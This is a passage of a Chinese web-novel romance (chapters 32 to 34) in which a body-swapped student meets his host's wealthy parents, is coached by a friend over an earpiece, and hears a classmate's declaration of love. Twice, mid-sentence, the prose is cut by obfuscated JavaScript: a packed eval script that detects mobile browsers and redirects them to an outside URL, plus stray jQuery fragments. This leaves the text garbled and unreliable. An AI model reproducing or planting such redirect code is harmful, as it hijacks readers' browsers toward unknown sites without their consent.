耳机里,沈恪的呼吸声还在继续,均匀而绵长。 刚才那些幻想里的沈恪,又凶又软地说再也不想见到他。 但耳机里这个睡眠深沉的沈恪,什么都不知道。不知道窗外下了雪,不知道有人在听,不知道有人为他雪崩了一场。 白越弯了弯嘴角。 他伸出手,把耳机往耳朵里又按了按。那个呼吸声更近了,像在耳边,像正靠在他肩上睡着。 白越闭上眼,和那个呼吸声一起,和窗外不知何时又飘起来的雪一起。 他不急。他在等。 等那个人换回来的那一天。等他真正站在自己面前,等他真的用那双眼睛看着自己,用那张嘴骂自己。 那时候,他会让这场雪,落进它该落的地方。 他伸出手,指尖轻轻蹭过照片里沈恪的嘴唇。 没有温度。 但如果那一天真的来了,这里应该是热的吧。 32. 我喜欢他 放学排练后回来,沈恪还没走近,就看见了那几辆车。 一辆加长林肯,黑得发亮。三辆丰田塞纳,同样黑得发亮。就那么横在别墅门口,把整条车道堵得严严实实。 沈恪停下脚步。他看不懂车标,但他看得懂很贵,不祥的预感猛地从后背爬上来。 他掏出手机,拨了祈愿的号码,接通的那一瞬间压低了声音:“祈愿祈愿。” “祈愿……他们来了。” “谁?” “温清然的爸妈。”沈恪站在路边的树后,看着那两辆车,悄悄摸摸地形容了一下,“门口停了好几辆车,一看就很贵的那种。有一辆是黑的,超级长,还有几辆酷车。” 耳机里沉默了几秒,然后祈愿嗤了一声:“呦呵,排场还挺大,出个门还带一堆保姆。” 沈恪没心情接他的调侃,他看着那扇紧闭的别墅大门,心跳得厉害。 “好想跑路……”他小声嘟囔。 “你跑嘛。”祈愿的声音懒洋洋的,“反正温大少本来也不会想见他爸妈的,跑了也算正常。” 沈恪有些雀跃,忙不迭地问道:“真的吗?” “骗你干嘛?他就这性格,想干啥就干啥,谁也管不住。”尽管知道沈恪看不到,祈愿还是耸了耸肩,“问你了就说你在酒吧,喝多了,明天再回。” “你要知道温大少可是被称为炮王的男人,动不动就扛着意大利炮去酒吧约帅哥美女,你这么做没人会怀疑你,甚至还更贴人设。” 沈恪看着那扇门,有些犹豫。 跑吗?可是万一回来了他们还在等呢?万一……他再也换不回来了呢?自他成为温清然已经三个月了,仍然一点换回来的头绪都没有,如果真的换不回去,总会再碰上温清然父母的。 总得面对的。 他抿了抿唇:“……还是不跑了吧,总不能一直躲下去。” 耳机里传来祈愿的笑声,声音比刚才软化了一点:“行啊,有骨气,长进了不少嘛。” 沈恪真以为他在夸自己,有些不好意思地嘿嘿了两下:“真、真的嘛?” “假的。” “哦。” 沈恪深吸一口气,往前走了一步:“我要出发了,祈愿!你一定要帮我啊。” “放心。”祈愿的语气轻松又自在,“你耳机戴好就行。我听得到你那边的动静,会提醒你该怎么说的。”他顿了顿,又补了一句,“怎么跟遥控玩具一样,还蛮好玩。” 沈恪听见他在那边轻轻笑了一声,但他没理,伸手推开了门。 *** 门厅里站着一排人,都穿着统一的深色制服,站得笔直,一动不动。沈恪推门进来的那一刻,所有人同时低下头:“少爷。” 沈恪愣住了,下意识想回头看看身后是不是还有别人,但他忍住了。 不能慌,会暴露的。 他在心里对自己说。 一个中年男人从旁边走上来,穿着更考究的西装,微微躬着身:“少爷,老爷和夫人已经在等您了。” 沈恪看了他一眼,管家,应该是。他努力维持着面无表情,跟在管家身后往里走。走过门厅的时候,他用余光扫了一眼那些佣人,还是那副姿势,还是那个角度,一动不动。像是在拍电影。 沈恪忽然有点恍惚,这里真的是他认识的那个世界吗? 难道有钱人都这样? 客厅很大。挑高的穹顶,垂落的水晶灯,应该是已经清扫过了,大理石地面现在亮得能照出人影。沙发上坐着两个人。 女人端坐在沙发正中央,一身真丝长裙剪裁得恰到好处,鬓边别着一支玉簪,素净别致。她坐得很直,姿态优雅得像一幅画,眉眼温和,嘴角噙着一点若有若无的笑。看见沈恪进来,那笑意浓了几分。 男人坐在她旁边,一身深色西装,肩背挺直,目光沉静。脸上没什么表情,唇线绷着,周身散发着一种生人勿近的气场。他没看沈恪,只是端着茶杯慢慢啜了一口,但他坐在那里,就压得住整间客厅。 沈恪的呼吸紧了一瞬。 这就是温清然的父母。 耳机里传来祈愿的声音,把他拉回现实:“千万别露怯啊。一会过去了先对他俩翻个白眼。就问你俩贵客来这里干啥。‘嚯,贵客啊,来这里做什么?’就这语气会不会?你就想象你现在就是温清然,这俩人欠了你八百万没还。” 沈恪抿了抿唇,走过去,翻了个白眼:“呦,贵客啊,来这干嘛?” 男人的脸色瞬间变了。 女人倒是笑容依旧。她站起身迎了上来,一把握住了沈恪的手:“小然,这么久没见了,不可以这么和你的爸妈说话。” 她的手很凉,笑容却很热。 耳机里,祈愿的声音响起:“对,就这会儿。对她说‘我去你妈的,你俩算什么东西’。” 沈恪差点呛到自己。 真的有人会这么和自己爸妈说话吗? 但他没时间吐槽这个。他挣开那只手,往后退了一步,一屁股坐进沙发里,大马金刀的那种,双臂撑开整个人往后一仰,然后瞪着眼睛开口骂:“我去你丫的。你俩算什么东西,这么久不管我,现在又拿乔上了!” 周婉蓉愣住了,温止言的眉头跳了一下,面色阴沉得像下一秒就会降下雷雨。 耳机里的祈愿都快笑岔气了,同时传来的还有他狂拍大腿的动静:“对对对!就这样!和温大少简直一个样!” 沈恪还没来得及松口气,余光里忽然瞥见一道人影。 是白越。他从厨房的方向走出来,手里端着一个托盘,上面放着茶壶和几只杯子。平日里遮住眉眼的额发今天全部梳了上去,露出光洁饱满的额头。额角有几缕碎发垂下来,随着他的步子轻轻晃动,柔和了那张脸的锋利线条。 他今天穿得也素净,着一身浅灰的毛衣,领口微微敞开,露出一截锁骨的弧度。袖子卷到手肘,小臂线条流畅,端着托盘的手指修长干净。 温温和和的,像是谁家教养极好的小辈。 他走到茶几前,放下托盘。端起茶壶,先用热水烫了一遍茶杯,倒掉。再重新斟茶。第一杯双手递给周婉蓉,杯身微微倾斜,杯耳朝向周婉蓉右手的方向。 “周姨,请用茶。” 周婉蓉接过,笑意满满地点了点头,看着是很满意他的表现。 白越又倒了一杯,同样双手递给温止言。杯身倾斜的角度、递出的高度,和刚才分毫不差。 “温叔,请用茶。” 温止言接过,没说话。 最后,白越倒了第三杯,双手递给沈恪。 “阿然,喝茶。” 他的声音轻轻的,和平时一样。 沈恪愣愣地接过杯子。 这个白越……好奇怪。 他今天太温柔了,太乖顺了,太像一个……贤内助?沈恪也不知道这个形容算不算恰当。 他见过白越很多面。温柔的,撒娇的,强势的,偶尔阴郁的。但从来没有见过这样的白越,站在长辈面前,微微躬着身,双手递茶,低眉顺眼。 像是变了一个人。 沈恪端着杯子,一时半会儿不知道该怎么反应。 耳机里,祈愿的声音响起来:“白越怎么在这儿……算了别管他。你把茶喝了,随意点喝就行。坐好一点,别那么垮。” 沈恪低头喝茶。 喝完之后,白越接过空杯,放回托盘里。然后他走到沙发主位旁边,坐了下来。 “阿然,”他拍了拍身边的空位,“坐这里。” 沈恪看了一眼那对夫妻,他们脸上什么表情都没有。 “阿然?”白越又拍了拍。 沈恪走过去,在他旁边坐下。 刚一坐下,白越就靠了过来,像被什么牵引着,自然而然、柔若无骨地倚了上来。温热的体温隔着两层衣料传过来,呼吸落在沈恪颈侧,轻轻的,像羽毛搔刮。 白越的手抬起来,指尖擦过沈恪的耳廓,轻轻取下了那枚耳机。 “阿然,”他的声音就在耳边,低低的,带着一点笑意,“叔叔阿姨在这里的时候,不能听音乐噢。” 沈恪的耳朵烫得厉害。 “不是,我没听……”他下意识想解释,想拿回耳机,想躲开那个让人心跳加速的距离。 但白越已经把耳机收进了口袋里。 沈恪:“…………” 彳亍。 耳机那头,祈愿的声音被彻底切断了。 *** 现在怎么办? 沈恪脑子里一片空白。 祈愿不在了。没有人会提醒他该说什么该做什么,只剩下白越和那对不知道看没看出来端倪的父母。 沈恪想起祈愿说过的话:“你要是实在没辙了,就装死。装鹌鹑,低着头玩你的手机,什么也别回。再时不时地怪笑一两下,就已经很温大少了。” 沈恪决定照做,低下头,掏出手机,随便找了两个视频静音刷起来。 白越的手伸过来,挡在屏幕上。 沈恪抬起头。 白越看着他,笑眯眯的。 沈恪把手机换了个方向。 白越的手跟着换了个方向。 沈恪又换。 白越又跟。 沈恪抬起头,对上白越的视线,那双好看的狐狸眼里此刻全是笑意,温和的、柔软的、看不出一丝恶意的笑意。 沈恪:“……” 他低下头,把手机收起来。 算了,不玩了。 周婉蓉把这一切都看在眼里,忽然笑了:“小然,你和白同学谈了多久了?怎么没听你介绍介绍。” 白越替沈恪回答了:“三个月了。” 沈恪微微蹙眉。 三个月?他记得自己是九月份才换过来的,在那之前白越和温清然已经谈了……两个月?白越记错了吧? 他尽量让自己看起来很不好惹地翻了个白眼:“我谈恋爱了关你们屁事,肚子里又在装什么坏水。” 周婉蓉看了温止言一眼,手放在唇边轻轻笑了一下:“这话说的……怎么会有妈妈不关心自己儿子的婚事呢?” “婚事?!” 沈恪猛地站起来,在发现所有人都在看他后又慢慢坐回去,假装很无所谓地靠在沙发上,腿岔开手搭在扶手上,“什么婚事不婚事的,我怎么没听你们说过这个事。” 周婉蓉端起茶杯,抿了一口。她的动作很慢,很优雅。茶杯送到唇边的时候,她微微低着头,睫毛垂下来,像是在品味茶香,又像是在品味沈恪的反应。喝完茶,她把杯子放回托盘里,用帕子轻轻按了按唇角:“这次我们回来也是这个事。小然,你年纪不小了,是该收心找个女生订婚了。” 沈恪几乎是立刻反驳:“我不要!” 他才不要代替温清然去订婚。且不说他根本不是温清然本人,就算他是,那个要被订婚的人也不是他沈恪。他是一个人,又不是什么可以随便塞进别人人生里的零件。哪有让别人替自己订婚的道理? 更何况,白越现在还算是他的……朋友?对象?他说不清。 但他知道的是,如果以后和温清然换回来了,那个被扔下的未婚妻怎么办?人家女孩子又没做错什么,凭什么要替温清然那个渣男承担这些? 温清然才二十一岁,他沈恪也才十八岁。 十八岁的人生,凭什么要被别人安排? 他抿了抿唇,声音不高,但很稳,又重复了一遍:“我不订婚。” 周婉蓉没生气。她反而坐过来了一点,伸手在沈恪手背上拍了拍:“小然,别那么激动。我们让你订婚也是为了你好,为了温氏好。” 她顿了顿,继续说,“当时你说朋友全在国内,想留在这里读书,我们也答应你了。你说不想去公司实习,想在学校里好好学习,家里也给你买了靠近学校的别墅方便你上下学。” “可如今,你的表现实在是太差了。” 沈恪抿着唇,不语。 “你才多大年纪?就谈了那么多对象。”周婉蓉的声音还是那么温柔,但每个字都像针一样扎下来,“连于家的电话都打到我这里了,说你对他们的儿子始乱终弃。” 她叹了口气,“我和你爸爸讨论了下,现如今你已经不年轻了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265401|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你爸爸在这个年纪都有两个孩子了。是该收心了,小然,你不能再当小孩子了。” 沈恪脑子里嗡嗡的。收心?收什么心? 如果是温清然本人在这里,他会怎么反应?他想起国庆时见到温清然的场景,那个人靠在病床上,刷着擦边视频,吊儿郎当,看谁都不顺眼。 沈恪决定直接照搬,他扯了扯嘴角,笑得很不屑:“我是你们的孩子,又不是你们的玩具。” 温止言横眉一竖,猛地站起来,压迫感强得如黑云压城:“我培养你那么久,事事都顺着你,结果你……” “老公。”周婉蓉拉住他的胳膊,把他按回沙发上。她转向沈恪,脸上还是那副温和的笑,“我们原定是让你在爷爷的寿宴上,和你陶叔叔的女儿见一面。就那个陶兰,你成人礼上见过的。” 她看了一眼白越,“但如果你和白同学已经谈上了,那也不好让你们分手。” “老公,你也说两句。”她拍了拍温止言的背。 温止言盯着沈恪,面色沉沉:“男人和男人恋爱,像什么样子!法律也不认可!” 周婉蓉点点头,附和道:“其实也不是性别的问题。主要小然你的性子摆在这里,你收不了心的,这对白同学也不好。” 沈恪几乎是立刻就感受到了白越的变化。刚才还软软地靠在他身上的那个人,慢慢坐直了,不靠了。 他转头看了一眼。 白越垂着眼,睫毛盖住了眼睛,嘴角那点笑意也不见了。安安静静地坐在那里,也不说话,就那么坐着。 像一只被主人骂了的小狗。 沈恪的心猛地揪了一下。 他们怎么能这样?当着白越的面说他收不了心、说他对白越不好? 他有点生气地伸出手,一把抓住白越的手用力握紧。那只手有点凉,骨节分明,在他掌心里乖乖待着。 “没有订婚的可能。”沈恪一字一句道,“白越就是我唯一的对象。” 白越低垂的睫毛底下,弯了弯。 他的小鹌鹑真是好骗。 周婉蓉愣了愣,然后笑了:“小然,你不能说气话。” “我没有!”沈恪脱口而出,“我是真的收心了!我喜欢他!” 话一出口,他自己先愣住了。 喜欢。 他居然说了喜欢。 虽然是假的,是为了反驳周姨,但那个词从嘴里蹦出来的时候,他忽然有些不敢看白越的反应。只能紧紧盯着周婉蓉和温止言,假装自己很凶。 白越垂下眼,拇指在沈恪手背上轻轻蹭了蹭,动作又轻又慢,像是在确认什么,又像只是单纯地想碰碰他。 沈恪僵着没动。怕一动,那只手就会收回去。又怕一动,自己就会暴露什么。 白越望了一眼他红红的耳尖,忽地偏过头,呼吸先落下来擦过沈恪的耳廓,然后才贴上那层薄薄的皮肤:“我也喜欢你哦。” 声音压得很低,像从胸腔里闷出来的,带着满足的笑意。 热气钻进耳道,沈恪的耳朵瞬间红透,心跳快得像要从胸腔里撞出来。 他想抽回手,却没抽动。 白越握着他的手,笑眯眯的,像是什么都没发生。 周婉蓉看着他们,脸上那点意外的表情慢慢收回去,变成了另一种东西。她看了温止言一眼,温止言没说话。 “小然你有喜欢的人,妈妈很欣慰。”周婉蓉开口,声音还是那么温柔,“那你和白同学现在有结婚的想法吗?国内还没允许,但是国外可以,结了婚也好去领养一个孩子记在你的名下。” 沈恪答不上来了。 他脑子里乱成一团。结婚?领养?孩子?这些都是什么跟什么?他只是来应付一下父母的,怎么忽然就跳到这了? 白越反握住他的手:“有的。我也很想把他娶回家呢。” 沈恪猛地转头看向他。 白越正好也在看他。那双眼睛弯着,里面的光亮得惊人。他就那么笑着,对着沈恪轻轻点了下头。 点个头是什么意思? 什么叫“把他娶回家”? 他们什么时候讨论过这个?! 沈恪的脑子彻底停转了。 他甚至忘了自己还在演温清然,忘了面前还坐着两个人,自己应该保持那副吊儿郎当的表情。 他只知道脸上烫得厉害,烫得他怀疑自己是不是在发烧。 周婉蓉和温止言都愣住了。 周婉蓉的目光在两个人之间转了一圈,最后停在沈恪那张红透了的脸上。 “娶回家?”她慢悠悠地重复了一遍,尾音微微上扬,“原来小然你是下面那个?” 沈恪的脸腾地红了,支吾着说不出话。 周婉蓉笑得意味深长:“我们倒也不是封建不支持你们,主要……” “够了。”温止言出声打断她。 他站起身,理了理西装袖口,居高临下地看着沈恪。 “订婚的事,之后再说。”他的声音沉沉的,“你爷爷马上举行寿宴,你带着白家小子一起来。到时候会有车来接你们。” 沈恪愣了一下,还没反应过来,就感觉到白越松开了他的手。 “叔叔,稍等。”白越站起身,语气温和有礼,“有件事想和您单独谈谈,方便移步书房吗?” 温止言看了他一眼,点了点头。 白越走过沈恪身边的时候,忽然俯下身,极轻极快地在他脸颊上啄了一下。 像一片羽毛落下来,又立刻被风吹走。 沈恪整个人定住了。 白越的唇擦过他耳畔,留下一句轻飘飘话:“宝宝等我一下哦。” 顿了顿,又补了一句:“不要理周姨,可以玩手机。” 然后他就跟着温止言上楼了。 沈恪坐在原地,愣了好几秒。 等他回过神来,脸颊上被亲过的那一块皮肤才开始发烫。 他刚才…… 当着周姨的面…… 沈恪后知后觉地抬起手,捂住自己的脸。 烫得厉害。 周婉蓉坐在对面,笑眯眯地看着他。 33. 再说一遍 周婉蓉让佣人们退出去后,客厅一下子空了下来。 沈恪坐在沙发上,还没从刚才那一轮演戏中缓过来。周婉蓉坐在他对面,端着茶杯,姿态优雅端庄。 但她说的话,和刚才完全不同。 “小然,”她放下茶杯,笑着看过来,“听说你最近在学做饭?” 沈恪愣了一下。 他哪会做什么饭?上次的炒饭差点把厨房点了,而且还难吃到白越都吃哭了,说是黑暗料理都不为过。刚想反驳说自己那点厨艺说出去都挺丢人的,忽然又意识到不对。 温清然会做饭吗? 不可能。 那个吊儿郎当看谁都不顺眼的家伙,怎么可能进厨房?进去殴打厨具吗难道? 他差一点就上当了。 好吓人。只是随口一句话,就差点让他露了馅。 周婉蓉的目光落在他脸上,很轻,很慢。像是在等什么,又像是在观察什么。 沈恪抿了抿唇,学着温清然那种不耐烦的语气:“白越教的。咋的,你有意见?” 周婉蓉看着他。目光从他微微绷着的脸上慢慢滑过去,滑过他紧抿的唇角,滑过他垂在身侧紧握着的拳头。 然后露出个些微了然的笑容。 沈恪被她这样看着,忽然觉得自己像被什么东西定住了。 她在看什么?她看出什么了? 他下意识想躲开那道视线,但他不能躲。他现在是“温清然”,温清然不会躲。 他只能坐在那里,任由那道目光从他脸上慢慢扫过。 过了小片刻,周婉蓉收回了目光,端起茶杯轻轻抿了一口,问:“白越那孩子,对你挺好的?” 沈恪不知道她为什么突然转话题,但还是顺着答:“嗯,挺好的。” “他家那边的事,你知道吗?” 沈恪下意识地茫然反问:“什么事?” 周婉蓉又打量了他一眼,随后叹了口气,像是在可惜他什么都不懂。 “没什么。”她说,“他对你好就行。” *** 周婉蓉没有再问做饭的事。 但她开始问别的。 “你那个叫祈愿的朋友,还经常来找你?” “嗯。” “你们去哪玩?” “就……吃饭,看电影。” 周婉蓉点点头。 然后她忽然问:“你以前不是说他不爱搭理你吗?” 沈恪愣住了。 温清然还说过这个话吗?他根本不知道!他一直以为祈愿和温清然的关系很好,毕竟就连祈愿自己也说他们是发小。 他只能硬着头皮:“以前是以前,现在是现在。” 周婉蓉嗯了一声,听不出任何情绪。 但沈恪总觉得不安。 后来周婉蓉又聊起别的事。聊白越,聊两人的恋爱,聊寿宴,聊老爷子。 沈恪尽量应付着,但好几次差点说错话。 有一次他说“我和白越第一次见面的时候”,然后立刻闭嘴。温清然和白越早就认识了,哪来的“第一次见面”? 周婉蓉只是看了他一眼,端起茶杯抿了一口,什么都没说。 还有一次,周婉蓉问他:“你以前那些朋友,最近还联系吗?” 沈恪不知道她说的是谁,是温清然那些旧情人?还是别的什么人? 他只能摇头:“不联系了。” “那就好。” 她的语气很平静,平静得让沈恪心里发毛。 周婉蓉的问题一个接一个,目光也越来越戏谑,沈恪几乎快撑不住了。 他开始怀念祈愿。祈愿看着不靠谱但实则心思细腻,如果他在这里,一定能看出周婉蓉每句话后面藏着什么,能提醒他该怎么答,在他快露馅的时候捏他的腰。 但祈愿不在,耳机也被白越收走了。 他只能一个人坐在这里,被那双温和的眼睛看着,被那些看似闲聊的问题问着,每一次开口都像是在走钢丝,一颗心七上八下地乱跳。 他想起祈愿说过的话。 “你要是实在没辙了,就装死。装鹌鹑,低着头玩你的手机,什么也别回。” 逃避虽然可耻但是有用。 他实在没办法继续忍受这种折磨了,手机一掏就是开玩。 屏幕上是和祈愿的聊天框。最后一条消息是祈愿挂断通话的记录。 他犹豫了一下,发了一条: 【然】抱歉,出了点意外,耳机被收走了。 对面几乎是秒回。 【Yuan】我听到了,没事。 【Yuan】你那边结束了? 【然】没有。周姨好像……一直在问我话。我好多都答不上来,只好玩手机了。 【Yuan】正确的,别理她。 沈恪盯着那行字,忽然有点想笑。 祈愿还是那个祈愿。 【Yuan】行了,不是多大事儿,放轻松。 【Yuan】来,我问你,世界上哪里最内卷? 沈恪一愣。 【然】诶? 【Yuan】你就随便猜。 沈恪想了想。 【然】是学校吗? 【Yuan】错了,是埃及。 沈恪眨了眨眼。 【然】为什么啊? 【Yuan】因为你不干有的是人干。 沈恪反应了两秒,然后噗地一下笑出声。 他赶紧捂住嘴,假装是在咳。 祈愿又发来几个笑话。 沈恪一条一条看着,嘴角压都压不下去。 *** 等周婉蓉再次开口的时候,沈恪已经把手机收起来了。 “小然,”她站起身,走过来,在他旁边坐下,压低声音,“你和白越……是认真的吗?” 沈恪不知道她为什么这么问,白越没他家钥匙啊?但他还是点头:“嗯。” 周婉蓉看着他。 很近,比刚才近。近到沈恪能看清她眼角的细纹,能看清她眼底那种他看不懂的东西。 “小然,”她的声音很轻,“白家那边的事,你了解多少?” 沈恪茫然地摇头。 周婉蓉笑了一下。 “白家那孩子,别看他在你面前温温柔柔的,在外面可不是这样。”她说,“白家什么背景你知道吗?祖上从军从政,几代人下来,根基深得很。到了他爷爷那一辈,开始做投资,也不知道是眼光好还是运气好,投什么赚什么,现在手里的钱,我们温家拍马都赶不上。 “不过他家现在情况有点复杂。老爷子身体不行了,几个叔伯虎视眈眈。但白越不一样。他是嫡出,是独生子,从小养在老爷子身边的。只要他站得住脚,以后整个白家都是他的。” “所以小然,”周婉蓉拍了拍他的手,那只手还是凉的,“你能让他对你这么好,是你的本事。” 沈恪不知道该说什么。 “他要是真把你当回事,以后就是我们温家的靠山。”周婉蓉的声音很轻,却很郑重,“所以你要对他好点。别像以前那样,三天两头换人。” 沈恪愣住了。 她的意思他听懂了。白家比温家有钱,有权,有势,而且是温家需要攀附的那种。 他不知道该说什么,心里像是有什么东西在往下沉。 原来是这样。 原来她看的不是“白越这个人”,是“白家这条线”。原来白越对她来说,不是她儿子的男朋友,只是一笔投资。 真是好过分。 沈恪抿了抿唇。 周婉蓉又笑了笑:“小然,你能做到吗?只对白越好,别再去交往那些乱七八糟的人?” 沈恪愣了一下。 那些“乱七八糟的人”……应该是指温清然以前那些小网红小帅哥吧? 这个他倒是一点问题都没有。 他本来就不是那种人。 而且…… 他想起白越挡在他身前的样子,想起白越握着他的手的样子,想起白越那句“我也喜欢你”。 白越这么好的人,当然值得。 他用力点头:“能。” “那就好。” “小然,”周婉蓉笑容浅淡,听着很是满意他的回答,“你现在这样挺好。” 沈恪抬起头,看着她。 “比之前的你讨人喜欢。” 她的眼睛弯着,笑容温温柔柔的,和刚才一模一样。 但沈恪的心里,忽然涌上一股凉意。 以前哪个?以前哪个?!是说温清然吗? 难道她看出了什么吗?! 周婉蓉站起身,理了理裙摆。 “行了,不打扰你们了。” 她往外走,走到门口的时候,回头看了沈恪一眼。 那一眼,很轻。 “小然,你一定要抓紧白越了,他喜欢你,那可不只是你一个人的事。” *** 等周婉蓉他们准备离开的时候,温止言单独把沈恪叫进了书房。 书房很大,一整面墙的书,落地窗外是已经暗下来的天色。温止言坐在书桌后面,灯光从他侧面打过来,照出半张没什么表情的脸。 沈恪站在门口,心跳得厉害。 “最近在忙什么?”他问。没有客套,没有铺垫,问题直击痛点。 沈恪脑子里飞快地转着。 不能说上课。不能说和祈愿他们玩。这些温清然都不会做,他只会逛酒吧,但这个说出来也不好,会额外生枝,毕竟周婉蓉方才才说过温清然的表现太令人失望。 “没忙什么。”他说。 温止言看着他没说话。 长久的沉默。 沈恪感觉自己被那双眼睛看穿了。 “你那些朋友,”温止言终于开口,“还联系吗?” 沈恪不知道他说的是谁,只能硬着头皮,选了一个最安全的答案。 “……除了祈愿,其他人都不联系了。” 温志言嗯了一声,没再问,只留下一句“收收心”便推门走了出去。 但那一眼,沈恪记住了。 他走出去的时候,一颗心七上八下抖得厉害。 *** 门口,周婉蓉正拉着“温清然”的手,说着“妈妈会想你的”之类的话。 沈恪已经麻木了,越说越错,还不如不说。索性也不理会对方了,只是站着,让她演好母亲。 温止言走过来,看了白越一眼。 “你陪他一起回来。” 不是问句,是命令。 白越笑了:“好。” 温止言没再说话,转身上车。 车门关上的那一刻,沈恪终于松了口气。 *** 门关上之后,客厅里安静了很久。 沈恪站在门口,看着那几辆车驶远,直到尾灯消失在夜色里。 他不知道自己站了多久。 “宝宝。” 白越的声音从身后传来。 沈恪回过神,转过身。 白越站在他身后,手里端着一杯水。 “喝点水。”他递过来,“说了那么多话,渴了吧?” 沈恪接过杯子,低头喝水。 温的。不烫不凉刚刚好。 他想起刚才周婉蓉说的那些话。白家,继承人,需要白家这条线。 他抬起头,看着白越。 那张脸还是和平时一样,温柔又安静。 沈恪忽然觉得心里堵得慌。 “白越。”他开口。 “嗯?” “你……” 他想问“你知道他们怎么看你吗”,想问“你不生气吗”,想问“你为什么要对我这么好”。但话到嘴边,又咽了回去。 沈恪低下头,盯着杯子里的水。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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忽然,一双手从身后轻轻环住了他。 白越的胸膛贴上他的后背,下巴轻轻搁在他的肩膀上,温热的呼吸拂过他的耳畔。那拥抱很轻,像藤蔓悄无声息地攀上墙沿。 “假的也好。” 白越的声音就在他耳边,又低又哑,语气近乎虔诚。 “我很开心。” 沈恪浑身一僵。 心脏像是被一只无形的手攥紧了,又酸又涩,还带着一丝说不清道不明的滚烫东西。 他想说什么,喉咙却被堵住了。 白越没有再多说。 只是这样静静地抱着他,脸颊依赖地蹭了蹭他的发丝,像一只终于找到归属的猫。 夕阳一点一点沉下去,客厅里的光线变得柔和而昏暗。 沈恪站在原地,任由那个拥抱将他包裹。 他能感受到白越平稳的心跳,隔着两层薄薄的衣料,一下一下,和他自己此刻狂乱的心跳形成了鲜明的对比。 “假的也好”。那句话在他脑海里反复回响。 他不知道该怎么回应,不知道该说什么,甚至不知道该想什么。 他只是站在那里,被身后的人抱着,看着窗外的夕阳一点点消失,直到整个客厅都陷入温柔的暮色里。 最后,他轻轻地,轻轻地,往那个怀抱里靠了靠。 *** 那天晚上,沈恪失眠了。 他躺在床上,盯着天花板,脑子里反复回放着白天的一切。 他翻了个身,把脸埋进枕头里。 手机亮了一下,他拿起来看。 【Yuan】睡了没。 【然】没有。 【然】谢谢你。 对面秒回。 【Yuan】谢什么,我就开头帮了一下。 【然】一直陪着我。 对面沉默了很久。 然后: 【Yuan】别想太多。睡了。 沈恪看着那行字,忽然笑了。 祈愿还是那个祈愿,他人真好。 *** 第二天上课见到祈愿的时候,沈恪眼底还有没消下去的黑眼圈。 祈愿看了他一眼,没问。 下了课往外走的时候,祈愿快步走到他的身边,忽然开口。 “寿宴的事,你就这么答应了?” 沈恪愣了一下:“不然呢?” 祈愿沉默了,如果可以,他其实真的很想剖开沈恪的脑袋看看他一天到晚在想什么。 “你以为我告诉你温大少家里八个私生子,是为什么?” 沈恪看着他。 “你知道回去意味着什么吗?” 沈恪摇头。 “意味着你要见温家所有人。”祈愿面露同情,“老爷子,八个私生子,还有一堆乱七八糟的亲戚和商业伙伴。每个人都会盯着你看,每个人都在等你看笑话。” 沈恪的脸白了:“那我、我能不能……” “不能。”祈愿打断他,“你答应了,就必须去。” 祈愿看着沈恪那张惨白的脸,忽然有些于心不忍,想到他也只是个倒霉催的被迫营业才会遇见这些破事,伸手在他头上揉了一把。 “我会陪你的。” 沈恪愣住了。 他看着祈愿,眼眶有点热。 “祈愿,你人真好!” 祈愿:“……” 他把手收回来,插进口袋里,转身往前走。 “好烦啊这人。”他嘟囔了一句。 沈恪跟上去,走在他旁边。 “谢谢你!” “闭嘴吧你。” 34. 期末生活 周日晚上的班会课,辅导员站在讲台上宣布了一个消息。 “12月28号开始期末考。”他推了推眼镜,“考完就放假。” 教室里只安静了一秒就瞬间炸开。 “考完就放?!” “这才12月初啊!” “一个月假期?!不是,等等,算一下……” “我靠真的假的!” 沈恪坐在座位上,被周围的欢呼声震得有点懵。 他对放假没什么概念,转头看向祈愿:“他们……放个假这么开心?” 祈愿靠在椅背上,懒洋洋的:“废话。接近两个月的寒假,谁不开心?” 沈恪想了想,那好像确实应该开心一下。 但他开心的是另一件事:考完试,就能稍微松一口气了。不用每天早起,不用面对那些听不懂的课,不用…… 他忽然顿住。 考完试,就要去寿宴了。 那点刚升起来的开心,又被压了下去。 班会结束后,祈愿走过来在他旁边的座位坐下。 “你发什么呆?” 沈恪回过神:“没、没什么。” 祈愿看了他一眼,没追问。 “期末复习要不要一起?”他在沈恪面前打了个响指,“安阳和顾云岚也在。四个人去图书馆占个座,反正你跟安阳都一个德行,不抱佛脚肯定要挂。” 沈恪愣了一下,下意识地转头看向白越。 白越正站在过道那边等着他。 沈恪张了张嘴,想问“白越你要不要一起来”,但话还没出口,白越已经走了过来。 他看着祈愿,弯了弯眼睛。 那笑容和平时一样温柔,但不知道为什么,沈恪总觉得有点不太一样。 “宝宝和朋友一起复习吧。”白越说,语气很轻很温柔,像是在替他着想,“我不打扰你们。” 沈恪心里暖了一下:“那你……” “我会来接你的。”白越笑了笑,“每天。” 祈愿在旁边非常不明显地翻了个白眼。 这死绿茶又在以退为进了。 “行了行了,走吧。”他站起来,拍了拍沈恪的肩,“再磨蹭图书馆没位置了。” 沈恪站起来,跟着祈愿往外走。 走到门口的时候,他回头看了一眼。 白越还站在原地,看着他。 那目光很轻,很慢,像是在目送,又像是在…… 沈恪说不上来。 他只能挥了挥手,然后跟着祈愿走出教室。 白越站在原地,看着那两个人消失在走廊尽头。 祈愿的手搭在沈恪肩上,两个人走得很近。 白越的目光落在那只手上,然后他笑了笑。 “每天来接你。” 他轻声重复了一遍。 转身,往另一个方向走去。 *** 十二月末的图书馆人满为患。 沈恪是第一次见到这种阵仗,每一张桌子都坐着人,走廊里有人站着背书,连楼梯间都飘出压低的读书声。 沈恪抱着自己的书,看着周围那些陌生的面孔,忽然有点恍惚。 原来这就是期末周。 